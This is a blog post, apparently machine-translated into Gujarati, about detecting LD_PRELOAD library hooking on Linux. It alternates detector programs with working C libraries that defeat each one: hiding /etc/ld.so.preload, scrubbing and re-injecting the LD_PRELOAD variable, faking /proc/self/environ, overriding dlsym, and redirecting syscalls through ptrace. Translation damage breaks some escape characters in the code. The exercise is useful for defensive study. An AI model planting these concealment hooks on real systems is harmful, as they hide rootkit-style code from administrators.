LD_PRELOAD શોધી રહ્યાં છીએ

આ નોંધ 2014 માં લખવામાં આવી હતી, પરંતુ હું માત્ર Habré પર દમન હેઠળ આવ્યો હતો અને તે દિવસનો પ્રકાશ જોતો ન હતો. પ્રતિબંધ દરમિયાન હું તેના વિશે ભૂલી ગયો હતો, પરંતુ હવે મને તે ડ્રાફ્ટ્સમાં મળ્યો. મેં તેને કાઢી નાખવા વિશે વિચાર્યું, પરંતુ કદાચ તે કોઈને ઉપયોગી થશે.

સામાન્ય રીતે, "શામેલ" શોધવાના વિષય પર થોડું શુક્રવાર એડમિન વાંચન LD_PRELOAD.

1. જેઓ ફંક્શન અવેજીથી પરિચિત નથી તેમના માટે ટૂંકું વિષયાંતર

બાકીના સીધા જઈ શકે છે પી.2.

ચાલો ક્લાસિક ઉદાહરણ સાથે પ્રારંભ કરીએ:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

અમે કોઈપણ ધ્વજ વિના કમ્પાઇલ કરીએ છીએ:

$ gcc ./ld_rand.c -o ld_rand

અને, અપેક્ષા મુજબ, અમને 5 કરતાં ઓછી 100 રેન્ડમ સંખ્યા મળે છે:

$ ./ld_rand
53
93
48
57
20

પરંતુ ચાલો કલ્પના કરીએ કે અમારી પાસે પ્રોગ્રામનો સ્રોત કોડ નથી, પરંતુ અમારે વર્તન બદલવાની જરૂર છે.

ચાલો આપણા પોતાના ફંક્શન પ્રોટોટાઇપ સાથે આપણી પોતાની લાઇબ્રેરી બનાવીએ, ઉદાહરણ તરીકે:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

અને હવે અમારી રેન્ડમ પસંદગી તદ્દન અનુમાનિત છે:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

આ યુક્તિ વધુ પ્રભાવશાળી લાગે છે જો આપણે સૌ પ્રથમ અમારી લાઇબ્રેરી દ્વારા નિકાસ કરીએ

$ export LD_PRELOAD=$PWD/ld_rand.so

અથવા અમે તે પ્રથમ કરીશું

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

અને પછી પ્રોગ્રામને હંમેશની જેમ ચલાવો. અમે પ્રોગ્રામમાં જ કોડની એક પણ લાઇન બદલી નથી, પરંતુ તેની વર્તણૂક હવે અમારી લાઇબ્રેરીના નાના કાર્ય પર આધારિત છે. તદુપરાંત, પ્રોગ્રામ લખતી વખતે, આ રેન્ડ અસ્તિત્વમાં પણ નહોતું.

અમારા પ્રોગ્રામનો નકલી ઉપયોગ કેમ કર્યો રેન્ડ? ચાલો તેને સ્ટેપ બાય સ્ટેપ લઈએ.
જ્યારે એપ્લિકેશન શરૂ થાય છે, ત્યારે અમુક પુસ્તકાલયો લોડ થાય છે જેમાં પ્રોગ્રામ દ્વારા જરૂરી કાર્યો હોય છે. અમે તેનો ઉપયોગ કરીને જોઈ શકીએ છીએ એલ.ડી.ડી.:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

આ સૂચિ OS સંસ્કરણના આધારે બદલાઈ શકે છે, પરંતુ ત્યાં ફાઇલ હોવી આવશ્યક છે libc.so. તે આ પુસ્તકાલય છે જે સિસ્ટમ કૉલ્સ અને મૂળભૂત કાર્યો જેમ કે પ્રદાન કરે છે ઓપન, malloc, printf વગેરે. અમારા રેન્ડ તેમની વચ્ચે પણ છે. ચાલો આની ખાતરી કરીએ:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

ચાલો જોઈએ કે જ્યારે ઉપયોગ થાય છે ત્યારે લાઈબ્રેરીઓનો સમૂહ બદલાય છે LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

વેરીએબલ સેટ થયેલું છે LD_PRELOAD અમને લોડ કરવા દબાણ કરે છે ld_rand.so પ્રોગ્રામને તેની જરૂર નથી તે હકીકત હોવા છતાં પણ. અને અમારા કાર્ય થી "રેન્ડ" કરતાં વહેલા લોડ થાય છે રેન્ડ થી libc.so, પછી તે રુસ્ટ પર શાસન કરે છે.

ઠીક છે, અમે મૂળ ફંક્શનને બદલવામાં વ્યવસ્થાપિત છીએ, પરંતુ અમે કેવી રીતે ખાતરી કરી શકીએ કે તેની કાર્યક્ષમતા સાચવેલ છે અને કેટલીક ક્રિયાઓ ઉમેરવામાં આવી છે. ચાલો આપણા રેન્ડમને સંશોધિત કરીએ:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

અહીં, અમારા "એડિશન" તરીકે, અમે ફક્ત ટેક્સ્ટની એક લાઇન છાપીએ છીએ, જે પછી અમે મૂળ કાર્ય માટે નિર્દેશક બનાવીએ છીએ. રેન્ડ. આ કાર્યનું સરનામું મેળવવા માટે આપણને જરૂર છે dlsym પુસ્તકાલયનું કાર્ય છે libdlજે આપણી શોધ કરશે રેન્ડ ગતિશીલ પુસ્તકાલયોના સ્ટેકમાં. જે પછી આપણે આ ફંક્શનને કૉલ કરીશું અને તેની કિંમત પરત કરીશું. તદનુસાર, આપણે ઉમેરવાની જરૂર પડશે "-ldl" એસેમ્બલી દરમિયાન:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

અને અમારો પ્રોગ્રામ "મૂળ" નો ઉપયોગ કરે છે રેન્ડ, અગાઉ કેટલીક અશ્લીલ ક્રિયાઓ કરી હતી.

2. શોધની પીડા

સંભવિત ખતરા વિશે જાણીને, અમે તેને શોધવા માંગીએ છીએ પ્રીલોડ તે કરવામાં આવ્યું હતું. તે સ્પષ્ટ છે કે શોધવાની શ્રેષ્ઠ રીત તેને કર્નલમાં ધકેલવી છે, પરંતુ મને યુઝરસ્પેસમાં શોધ વિકલ્પોમાં રસ હતો.

આગળ, શોધ અને તેમના ખંડન માટેના ઉકેલો જોડીમાં આવશે.

2.1. ચાલો સરળ શરૂઆત કરીએ

અગાઉ સૂચવ્યા મુજબ, તમે વેરીએબલનો ઉપયોગ કરીને લોડ કરવા માટે લાઇબ્રેરીનો ઉલ્લેખ કરી શકો છો LD_PRELOAD અથવા તેને ફાઇલમાં લખીને /etc/ld.so.preload. ચાલો બે સરળ ડિટેક્ટર બનાવીએ.

પ્રથમ સેટ પર્યાવરણ વેરીએબલ તપાસવાનું છે:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

બીજું એ તપાસવાનું છે કે ફાઇલ ખુલી છે કે કેમ:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

ચાલો પુસ્તકાલયો લોડ કરીએ:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

અહીં અને નીચે, [+] સફળ શોધ સૂચવે છે.
તદનુસાર, [-] એટલે બાયપાસ ડિટેક્શન.

આવા ડિટેક્ટર કેટલું અસરકારક છે? ચાલો પહેલા પર્યાવરણ વેરીએબલ પર એક નજર કરીએ:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

એ જ રીતે, અમે ચેકથી છુટકારો મેળવીએ છીએ ઓપન:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

હા, ફાઇલને ઍક્સેસ કરવાની અન્ય રીતો અહીં વાપરી શકાય છે, જેમ કે, ઓપન64, stat વગેરે., પરંતુ, હકીકતમાં, કોડની સમાન 5-10 લીટીઓ તેમને છેતરવા માટે જરૂરી છે.

2.2. ચલો આગળ વધીએ

ઉપર આપણે ઉપયોગ કર્યો getenv() મૂલ્ય મેળવવા માટે LD_PRELOAD, પરંતુ ત્યાં જવા માટે વધુ "નીચા-સ્તર" માર્ગ પણ છે ENV-ચલ. અમે મધ્યવર્તી કાર્યોનો ઉપયોગ કરીશું નહીં, પરંતુ એરેનો સંદર્ભ લઈશું ** પર્યાવરણ, જે પર્યાવરણની નકલ સંગ્રહિત કરે છે:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

અહીં અમે મેમરીમાંથી સીધો ડેટા વાંચી રહ્યા હોવાથી, આવા કૉલને અટકાવી શકાતો નથી, અને અમારા undetect_getenv તે હવે ઘૂસણખોરીને ઓળખવામાં દખલ કરશે નહીં.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

એવું લાગે છે કે આ સમસ્યા હલ થઈ ગઈ છે? હજુ તો શરૂઆત છે.

પ્રોગ્રામ શરૂ થયા પછી, ચલની કિંમત LD_PRELOAD હેકર્સને હવે મેમરીમાં તેની જરૂર નથી, એટલે કે, તેઓ તેને વાંચી શકે છે અને કોઈપણ સૂચનાઓ અમલમાં મૂકતા પહેલા તેને કાઢી શકે છે. અલબત્ત, મેમરીમાં એરેને સંપાદિત કરવું એ ઓછામાં ઓછું, ખરાબ પ્રોગ્રામિંગ શૈલી છે, પરંતુ આ તે વ્યક્તિને કેવી રીતે રોકી શકે છે જે ખરેખર કોઈપણ રીતે આપણું સારું ઇચ્છતો નથી?

આ કરવા માટે આપણે આપણું પોતાનું નકલી કાર્ય બનાવવાની જરૂર છે તેમાં(), જેમાં અમે ઇન્સ્ટોલ કરેલાને અટકાવીએ છીએ LD_PRELOAD અને તેને અમારા લિંકર પર મોકલો:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

અમે ચલાવીએ છીએ અને તપાસીએ છીએ:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

જો કે, મેમરી એ છેલ્લું સ્થાન નથી જ્યાં તમે અવેજી શોધી શકો LD_PRELOAD, ત્યાં પણ છે /proc/. ચાલો સ્પષ્ટ સાથે શરૂ કરીએ /proc/{PID}/પર્યાવરણ.

હકીકતમાં, માટે એક સાર્વત્રિક ઉકેલ છે શોધી કાઢવું ** પર્યાવરણ и /proc/self/environ. સમસ્યા એ "ખોટી" વર્તન છે unsetenv(env).

સાચો વિકલ્પ

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

પરંતુ ચાલો કલ્પના કરીએ કે અમને તે મળ્યું નથી અને /proc/self/environ "સમસ્યાયુક્ત" ડેટા ધરાવે છે.

પહેલા આપણે આપણા પહેલાના "વેશ" સાથે પ્રયાસ કરીએ:

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

બિલાડી ફાઇલ ખોલવા માટે તેનો ઉપયોગ કરે છે ખુલ્લા(), તેથી સોલ્યુશન પહેલાથી જ વિભાગ 2.1 માં કરવામાં આવ્યું હતું તે જેવું જ છે, પરંતુ હવે અમે એક અસ્થાયી ફાઇલ બનાવીએ છીએ જ્યાં અમે લીટીઓ ધરાવતી લીટીઓ વિના સાચી મેમરીના મૂલ્યોની નકલ કરીએ છીએ. LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

અને આ તબક્કો પસાર થઈ ગયો છે:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

આગામી સ્પષ્ટ સ્થાન છે /proc/self/maps. તેના પર રહેવાનો કોઈ અર્થ નથી. સોલ્યુશન પાછલા એક જેવું જ છે: ફાઇલમાંથી ડેટાની નકલ કરો વચ્ચેની રેખાઓ બાદ કરો libc.so и ld.so.

2.4. ચોકપોઇન્ટનો વિકલ્પ

મને ખાસ કરીને તેની સરળતા માટે આ સોલ્યુશન ગમ્યું. અમે સીધા લોડ કરેલા ફંક્શન્સના સરનામાંની તુલના કરીએ છીએ libc, અને "આગલું" સરનામાં.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

ઇન્ટરસેપ્શન સાથે લાઇબ્રેરી લોડ કરી રહ્યું છે "ખુલ્લા()" અને તપાસો:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

ખંડન વધુ સરળ બન્યું:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. સિસ્કલ્સ

એવું લાગે છે કે આ બધું છે, પરંતુ આપણે હજી પણ ફફડીશું. જો આપણે સિસ્ટમ કોલને સીધો કર્નલ પર ડાયરેક્ટ કરીએ, તો આ સમગ્ર ઇન્ટરસેપ્શન પ્રક્રિયાને બાયપાસ કરશે. નીચેનો ઉકેલ, અલબત્ત, આર્કિટેક્ચર આધારિત છે (x86_64). ચાલો ઓપનિંગ શોધવા માટે તેને અમલમાં મૂકવાનો પ્રયાસ કરીએ ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

અને આ સમસ્યાનો ઉકેલ છે. માંથી અવતરણ માણસ'એ:

ptrace એ એક સાધન છે જે પિતૃ પ્રક્રિયાને અન્ય પ્રક્રિયાની પ્રગતિનું નિરીક્ષણ અને નિયંત્રણ કરવા, તેનો ડેટા અને રજિસ્ટર જોવા અને બદલવાની મંજૂરી આપે છે. સામાન્ય રીતે આ ફંક્શનનો ઉપયોગ ડિબગીંગ પ્રોગ્રામમાં બ્રેકપોઇન્ટ બનાવવા અને સિસ્ટમ કોલ્સ મોનિટર કરવા માટે થાય છે.

પિતૃ પ્રક્રિયા પ્રથમ ફોર્ક(2) ને કૉલ કરીને ટ્રેસિંગ શરૂ કરી શકે છે, અને પછી પરિણામી ચાઇલ્ડ પ્રક્રિયા PTRACE_TRACEME ને એક્ઝિક્યુટ કરી શકે છે, ત્યારબાદ (સામાન્ય રીતે) exec(3) ને એક્ઝિક્યુટ કરીને. બીજી તરફ, પિતૃ પ્રક્રિયા PTRACE_ATTACH નો ઉપયોગ કરીને હાલની પ્રક્રિયાને ડીબગ કરવાનું શરૂ કરી શકે છે.

ટ્રેસિંગ કરતી વખતે, જ્યારે પણ સિગ્નલ મળે છે ત્યારે બાળકની પ્રક્રિયા બંધ થઈ જાય છે, પછી ભલેને સિગ્નલને અવગણવામાં આવે. (અપવાદ એ SIGKILL છે, જે સામાન્ય રીતે કામ કરે છે.) પિતૃ પ્રક્રિયાને wait(2) કૉલ કરીને આની જાણ કરવામાં આવશે, જે પછી તે બાળક પ્રક્રિયા શરૂ થાય તે પહેલાં તેની સામગ્રી જોઈ અને સંશોધિત કરી શકે છે. પિતૃ પ્રક્રિયા પછી બાળકને દોડવાનું ચાલુ રાખવા દે છે, કેટલાક કિસ્સાઓમાં તેને મોકલવામાં આવેલા સિગ્નલને અવગણીને અથવા તેના બદલે અન્ય સિગ્નલ મોકલવા).

આમ, સોલ્યુશન એ પ્રક્રિયાને મોનિટર કરવાનો છે, દરેક સિસ્ટમ કૉલ પહેલાં તેને બંધ કરીને અને જો જરૂરી હોય તો, થ્રેડને હૂક ફંક્શન પર રીડાયરેક્ટ કરો.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

તપાસ કરી રહ્યું છે:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

તમારો ખૂબ ખૂબ આભાર

ચાર્લ્સ હુબૈન
ચોક બિંદુ
ValdikSS
ફિલિપ ટ્યુવેન
ડેરહાસ

, જેમના લેખો, સ્ત્રોતો અને ટિપ્પણીઓએ આ નોંધ અહીં પ્રદર્શિત કરવા માટે મેં કર્યું તેના કરતાં ઘણું વધારે કર્યું.

સોર્સ: www.habr.com